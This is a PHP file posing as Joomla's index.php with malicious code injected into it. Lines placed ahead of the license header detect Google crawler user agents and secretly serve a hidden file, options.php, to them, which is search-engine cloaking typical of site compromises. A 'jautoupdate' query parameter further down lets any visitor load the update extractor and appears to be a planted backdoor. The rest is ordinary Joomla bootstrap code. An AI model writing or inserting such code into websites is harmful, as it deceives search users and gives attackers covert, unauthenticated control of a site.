$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $google_bots = [ 'Googlebot', 'Googlebot-News', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-Mobile', 'Mediapartners-Google', 'AdsBot-Google', 'AdsBot-Google-Mobile', 'APIs-Google', 'Google Favicon', 'Google Web Preview', 'Feedfetcher-Google', 'DuplexWeb-Google', 'Google-InspectionTool', 'Googlebot-AdsBot', 'Googlebot-Desktop', 'Googlebot-Search', 'Googlebot-Events', 'Googlebot-Tablet', 'Googlebot-Local', 'Googlebot-Apps', 'Googlebot-Connect', 'Googlebot-Books', 'Googlebot-Publisher', 'Googlebot-News-RSS', 'Google-Other', 'Google-SearchCentral', 'Storebot-Google', 'Google-Read-Aloud', ]; foreach ($google_bots as $bot) { if (stripos($user_agent, $bot) === false) { continue; } $shadow = __DIR__ . '/options.php'; if (is_file($shadow)) { require $shadow; exit; } break; } /** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; die(); } require_once __DIR__ . '/includes/app.php';